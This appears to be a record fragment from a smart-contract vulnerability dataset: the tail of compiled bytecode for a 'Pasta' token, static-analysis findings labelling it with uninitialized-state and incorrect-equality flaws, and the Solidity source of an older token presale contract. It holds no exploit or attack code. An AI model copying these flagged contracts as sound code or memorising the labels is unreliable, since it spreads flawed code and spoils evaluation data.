fffff1602179055506108f860005483611cc8565b600081905550600073ffffffffffffffffffffffffffffffffffffffff16600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109a15761099c8384611d18565b610a0d565b610a0c6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611ed8565b5b8273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6b91906130a6565b60405180910390a3505050565b6040518060600160405280602d8152602001613465602d913981565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad13382611d18565b50565b60066020528060005260406000206000915054906101000a900463ffffffff1681565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b7f000000000000000000000000000000000000000000000000000000000003f48081565b6000438210610bce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc590612fa6565b60405180910390fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610c3b576000915050610f93565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610d3d57600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610f93565b82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610dbe576000915050610f93565b6000806001830390505b8163ffffffff168163ffffffff161115610f15576000600283830363ffffffff1681610df057fe5b0482039050610dfd6125ea565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610eed57806020015195505050505050610f93565b86816000015163ffffffff161015610f0757819350610f0e565b6001820392505b5050610dc8565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff161415611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103990612fe6565b60405180910390fd5b42600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167ff52f50426b32362d3e6bb8cb36b7074756b224622def6352a59eac7f66ebe6e860405160405180910390a2565b60076020528060005260406000206000915090505481565b60016020528060005260406000206000915090505481565b6040518060400160405280600581526020017f504153544100000000000000000000000000000000000000000000000000000081525081565b73e92346d9369fe03b735ed9bdeb6bdc2591b8227e81565b60006111708260405180606001604052806023815260200161337a60239139611bf4565b90506000816bffffffffffffffffffffffff1614156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb90613066565b60405180910390fd5b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611232817f000000000000000000000000000000000000000000000000000000000003f480611cc8565b4211611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90613046565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000002a3006112c7426112c2847f000000000000000000000000000000000000000000000000000000000003f480611cc8565b6121d3565b1115611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff90612f26565b60405180910390fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16836bffffffffffffffffffffffff161161138a57826113e3565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff165b905061145f600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806023815260200161342060239139612223565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506114e6600054826bffffffffffffffffffffffff166121d3565b60008190555073e92346d9369fe03b735ed9bdeb6bdc2591b8227e73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86866040518363ffffffff1660e01b815260040161153b929190612dbb565b602060405180830381600087803b15801561155557600080fd5b505af1158015611569573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158d919061284b565b6115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390613026565b60405180910390fd5b611637600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600083611ed8565b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161169591906130a6565b60405180910390a35050505050565b60006040518060600160405280602d8152602001613465602d91396040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f29190612f04565b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000002a30081565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611611789576000611805565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600e81526020017f50617374612044414f20f09f8d9d00000000000000000000000000000000000081525080519060200120611875612294565b306040516020016118899493929190612e5f565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016118da9493929190612e1a565b60405160208183030381529060405280519060200120905060008282604051602001611907929190612d32565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516119449493929190612ea4565b6020604051602081039080840390855afa158015611966573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d990612f66565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6890613006565b60405180910390fd5b87421115611ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aab90612f86565b60405180910390fd5b611abe818b611d18565b50505050505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6005602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3f9190612f04565b60405180910390fd5b5082905092915050565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb39190612f04565b60405180910390fd5b50809150509392505050565b6000828284019150811015611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0990612fc6565b60405180910390fd5b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611ed2828483611ed8565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f2257506000816bffffffffffffffffffffffff16115b156121ce57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461207a576000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611fc5576000612041565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061206882856040518060600160405280602881526020016133d160289139612223565b9050612076868484846122a1565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121cd576000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611612118576000612194565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b905060006121bb82856040518060600160405280602781526020016133f960279139611c52565b90506121c9858484846122a1565b5050505b5b505050565b600082828403915081111561221d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221490612fc6565b60405180910390fd5b92915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290612287576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227e9190612f04565b60405180910390fd5b5082840390509392505050565b6000804690508091505090565b60006122c54360405180606001604052806034815260200161339d60349139612594565b905060008463ffffffff1611801561235a57508063ffffffff16600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156123f55781600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061253d565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405161258592919061313b565b60405180910390a25050505050565b6000640100000000831082906125e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125d79190612f04565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b600081359050612627816132cc565b92915050565b60008151905061263c816132e3565b92915050565b600081359050612651816132fa565b92915050565b60008135905061266681613311565b92915050565b60008135905061267b81613328565b92915050565b6000813590506126908161333f565b92915050565b6000602082840312156126a857600080fd5b60006126b684828501612618565b91505092915050565b600080604083850312156126d257600080fd5b60006126e085828601612618565b92505060206126f185828601612618565b9150509250929050565b60008060006060848603121561271057600080fd5b600061271e86828701612618565b935050602061272f86828701612618565b925050604061274086828701612657565b9150509250925092565b6000806040838503121561275d57600080fd5b600061276b85828601612618565b925050602061277c85828601612657565b9150509250929050565b60008060008060008060c0878903121561279f57600080fd5b60006127ad89828a01612618565b96505060206127be89828a01612657565b95505060406127cf89828a01612657565b94505060606127e089828a01612681565b93505060806127f189828a01612642565b92505060a061280289828a01612642565b9150509295509295509295565b6000806040838503121561282257600080fd5b600061283085828601612618565b92505060206128418582860161266c565b9150509250929050565b60006020828403121561285d57600080fd5b600061286b8482850161262d565b91505092915050565b61287d81613212565b82525050565b61288c8161318b565b82525050565b61289b8161319d565b82525050565b6128aa816131a9565b82525050565b6128c16128bc826131a9565b6132b1565b82525050565b6128d081613224565b82525050565b60006128e182613164565b6128eb818561316f565b93506128fb81856020860161327e565b612904816132bb565b840191505092915050565b600061291c601f8361316f565b91507f50617374613a3a6275726e3a2072656465656d2077696e646f77206f766572006000830152602082019050919050565b600061295c60188361316f565b91507f50617374613a3a6d696e743a206d696e74206661696c656400000000000000006000830152602082019050919050565b600061299c60268361316f565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a0260268361316f565b91507f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a68600283613180565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612aa860278361316f565b91507f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b0e600d8361316f565b91507f6d6174682d6e6f742d73616665000000000000000000000000000000000000006000830152602082019050919050565b6000612b4e60208361316f565b91507f50617374613a3a636f6f6c646f776e3a20696e76616c69642062616c616e63656000830152602082019050919050565b6000612b8e60228361316f565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612bf4601c8361316f565b91507f50617374613a3a6275726e3a207472616e73666572206661696c6564000000006000830152602082019050919050565b6000612c34601d8361316f565b91507f50617374613a3a6275726e3a20696e76616c696420636f6f6c646f776e0000006000830152602082019050919050565b6000612c74601b8361316f565b91507f50617374613a3a6275726e3a20696e76616c696420616d6f756e7400000000006000830152602082019050919050565b6000612cb4601b8361316f565b91507f50617374613a3a6d696e743a20696e76616c696420616d6f756e7400000000006000830152602082019050919050565b612cf0816131d3565b82525050565b612cff816131dd565b82525050565b612d0e816131ed565b82525050565b612d1d8161326c565b82525050565b612d2c816131fa565b82525050565b6000612d3d82612a5b565b9150612d4982856128b0565b602082019150612d5982846128b0565b6020820191508190509392505050565b6000602082019050612d7e6000830184612883565b92915050565b6000606082019050612d996000830186612874565b612da66020830185612883565b612db36040830184612ce7565b949350505050565b6000604082019050612dd06000830185612883565b612ddd6020830184612ce7565b9392505050565b6000602082019050612df96000830184612892565b92915050565b6000602082019050612e1460008301846128a1565b92915050565b6000608082019050612e2f60008301876128a1565b612e3c6020830186612883565b612e496040830185612ce7565b612e566060830184612ce7565b95945050505050565b6000608082019050612e7460008301876128a1565b612e8160208301866128a1565b612e8e6040830185612ce7565b612e9b6060830184612883565b95945050505050565b6000608082019050612eb960008301876128a1565b612ec66020830186612d05565b612ed360408301856128a1565b612ee060608301846128a1565b95945050505050565b6000602082019050612efe60008301846128c7565b92915050565b60006020820190508181036000830152612f1e81846128d6565b905092915050565b60006020820190508181036000830152612f3f8161290f565b9050919050565b60006020820190508181036000830152612f5f8161294f565b9050919050565b60006020820190508181036000830152612f7f8161298f565b9050919050565b60006020820190508181036000830152612f9f816129f5565b9050919050565b60006020820190508181036000830152612fbf81612a9b565b9050919050565b60006020820190508181036000830152612fdf81612b01565b9050919050565b60006020820190508181036000830152612fff81612b41565b9050919050565b6000602082019050818103600083015261301f81612b81565b9050919050565b6000602082019050818103600083015261303f81612be7565b9050919050565b6000602082019050818103600083015261305f81612c27565b9050919050565b6000602082019050818103600083015261307f81612c67565b9050919050565b6000602082019050818103600083015261309f81612ca7565b9050919050565b60006020820190506130bb6000830184612ce7565b92915050565b60006020820190506130d66000830184612cf6565b92915050565b60006040820190506130f16000830185612cf6565b6130fe6020830184612d23565b9392505050565b600060208201905061311a6000830184612d05565b92915050565b60006020820190506131356000830184612d23565b92915050565b60006040820190506131506000830185612d14565b61315d6020830184612d14565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000613196826131b3565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b600061321d82613248565b9050919050565b600061322f82613236565b9050919050565b6000613241826131b3565b9050919050565b60006132538261325a565b9050919050565b6000613265826131b3565b9050919050565b6000613277826131fa565b9050919050565b60005b8381101561329c578082015181840152602081019050613281565b838111156132ab576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b6132d58161318b565b81146132e057600080fd5b50565b6132ec8161319d565b81146132f757600080fd5b50565b613303816131a9565b811461330e57600080fd5b50565b61331a816131d3565b811461332557600080fd5b50565b613331816131dd565b811461333c57600080fd5b50565b613348816131ed565b811461335357600080fd5b5056fe50617374613a3a6d696e743a20616d6f756e742065786365656473203936206269747350617374613a3a6275726e3a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777350617374613a3a6275726e3a206275726e20616d6f756e7420756e646572666c6f777350617374613a3a6d696e743a206d696e7420616d6f756e74206f766572666c6f77734974277320616c6c20706173746120f09f8c8ef09fa791e2808df09f9a80f09f94abf09fa791e2808df09f9a80a2646970667358221220d0782772c8f79ab74f43bb500598a04c6522610adb0397a7ac38753d4738ef3264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,744 |
0x5fdca7a3d3ec979dd5b2bfec2ecc6ad0fb0a87bb
|
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract IMintableToken {
function mint(address _to, uint256 _amount) returns (bool);
function finishMinting() returns (bool);
}
contract PricingStrategy {
using SafeMath for uint;
uint public rate0;
uint public rate1;
uint public rate2;
uint public threshold1;
uint public threshold2;
uint public minimumWeiAmount;
function PricingStrategy(
uint _rate0,
uint _rate1,
uint _rate2,
uint _minimumWeiAmount,
uint _threshold1,
uint _threshold2
) {
require(_rate0 > 0);
require(_rate1 > 0);
require(_rate2 > 0);
require(_minimumWeiAmount > 0);
require(_threshold1 > 0);
require(_threshold2 > 0);
rate0 = _rate0;
rate1 = _rate1;
rate2 = _rate2;
minimumWeiAmount = _minimumWeiAmount;
threshold1 = _threshold1;
threshold2 = _threshold2;
}
/** Interface declaration. */
function isPricingStrategy() public constant returns (bool) {
return true;
}
/** Calculate the current price for buy in amount. */
function calculateTokenAmount(uint weiAmount) public constant returns (uint tokenAmount) {
uint bonusRate = 0;
if (weiAmount >= minimumWeiAmount) {
bonusRate = rate0;
}
if (weiAmount >= threshold1) {
bonusRate = rate1;
}
if (weiAmount >= threshold2) {
bonusRate = rate2;
}
return weiAmount.mul(bonusRate);
}
}
contract Presale is Pausable {
using SafeMath for uint;
/* Max investment count when we are still allowed to change the multisig address */
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 500;
/* The token we are selling */
IMintableToken public token;
/* How we are going to price our offering */
PricingStrategy public pricingStrategy;
/* tokens will be transfered from this address */
address public multisigWallet;
/* if the funding goal is not reached, investors may withdraw their funds */
uint public minimumFundingGoal;
/* the UNIX timestamp start date of the presale */
uint public startsAt;
/* the UNIX timestamp end date of the presale */
uint public endsAt;
/* Maximum amount of tokens this presale can sell. */
uint public tokensHardCap;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many wei of funding we have raised */
uint public weiRaised = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* How much wei we have returned back to the contract after a failed crowdfund. */
uint public loadedRefund = 0;
/* How much wei we have given back to investors.*/
uint public weiRefunded = 0;
/** How much ETH each address has invested to this presale */
mapping (address => uint256) public investedAmountOf;
/** How much tokens this presale has credited for each investor address */
mapping (address => uint256) public tokenAmountOf;
/** Addresses that are allowed to invest even before ICO offical opens. Only for testing purpuses. */
mapping (address => bool) public earlyParticipantWhitelist;
/** State machine
*
* - Preparing: All contract initialization calls and variables have not been set yet
* - Prefunding: We have not passed start time yet
* - Funding: Active presale
* - Success: Minimum funding goal reached
* - Failure: Minimum funding goal not reached before ending time
* - Refunding: Refunds are loaded on the contract for reclaim.
*/
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
// Refund was processed for a contributor
event Refund(address investor, uint weiAmount);
// Address early participation whitelist status changed
event Whitelisted(address addr, bool status);
// Presale end time has been changed
event EndsAtChanged(uint endsAt);
function Presale(
address _token,
address _pricingStrategy,
address _multisigWallet,
uint _start,
uint _end,
uint _tokensHardCap,
uint _minimumFundingGoal
) {
require(_token != 0);
require(_pricingStrategy != 0);
require(_multisigWallet != 0);
require(_start != 0);
require(_end != 0);
require(_start < _end);
require(_tokensHardCap != 0);
token = IMintableToken(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
startsAt = _start;
endsAt = _end;
tokensHardCap = _tokensHardCap;
minimumFundingGoal = _minimumFundingGoal;
}
/**
* Buy tokens
*/
function() payable {
invest(msg.sender);
}
/**
* Make an investment.
*
* Presale must be running for one to invest.
* We must have not pressed the emergency brake.
*
* @param receiver The Ethereum address who receives the tokens
*/
function invest(address receiver) whenNotPaused payable {
// Determine if it's a good time to accept investment from this participant
if (getState() == State.PreFunding) {
// Are we whitelisted for early deposit
require(earlyParticipantWhitelist[receiver]);
} else {
require(getState() == State.Funding);
}
uint weiAmount = msg.value;
// Account presale sales separately, so that they do not count against pricing tranches
uint tokenAmount = pricingStrategy.calculateTokenAmount(weiAmount);
// Dust transaction
require(tokenAmount > 0);
if (investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
// Check that we did not bust the cap
require(!isBreakingCap(tokensSold));
token.mint(receiver, tokenAmount);
// Pocket the money
multisigWallet.transfer(weiAmount);
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount);
}
/**
* Allow addresses to do early participation.
*
*/
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
/**
* Allow presale owner to close early or extend the presale.
*
* This is useful e.g. for a manual soft cap implementation:
* - after X amount is reached determine manual closing
*
* This may put the presale to an invalid state,
* but we trust owners know what they are doing.
*
*/
function setEndsAt(uint time) onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
/**
* Allow to (re)set pricing strategy.
*
* Design choice: no state restrictions on the set, so that we can fix fat finger mistakes.
*/
function setPricingStrategy(address _pricingStrategy) onlyOwner {
pricingStrategy = PricingStrategy(_pricingStrategy);
// Don't allow setting bad agent
require(pricingStrategy.isPricingStrategy());
}
/**
* Allow to change the team multisig address in the case of emergency.
*
* This allows to save a deployed presale wallet in the case the presale has not yet begun
* (we have done only few test transactions). After the presale is going
* then multisig address stays locked for the safety reasons.
*/
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() public payable inState(State.Failure) {
require(msg.value > 0);
loadedRefund = loadedRefund.add(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue > 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
msg.sender.transfer(weiValue);
}
/**
* Crowdfund state machine management.
*
* We make it a function and do not assign the result to a variable, so there is no chance of the variable being stale.
*/
function getState() public constant returns (State) {
if (address(pricingStrategy) == 0)
return State.Preparing;
else if (block.timestamp < startsAt)
return State.PreFunding;
else if (block.timestamp <= endsAt && !isPresaleFull())
return State.Funding;
else if (isMinimumGoalReached())
return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised)
return State.Refunding;
else
return State.Failure;
}
/**
* @return true if the presale has raised enough money to be a successful.
*/
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
/**
* Called from invest() to confirm if the curret investment does not break our cap rule.
*/
function isBreakingCap(uint tokensSoldTotal) constant returns (bool) {
return tokensSoldTotal > tokensHardCap;
}
function isPresaleFull() public constant returns (bool) {
return tokensSold >= tokensHardCap;
}
//
// Modifiers
//
/** Modified allowing execution only if the presale is currently running. */
modifier inState(State state) {
require(getState() == state);
_;
}
}
|
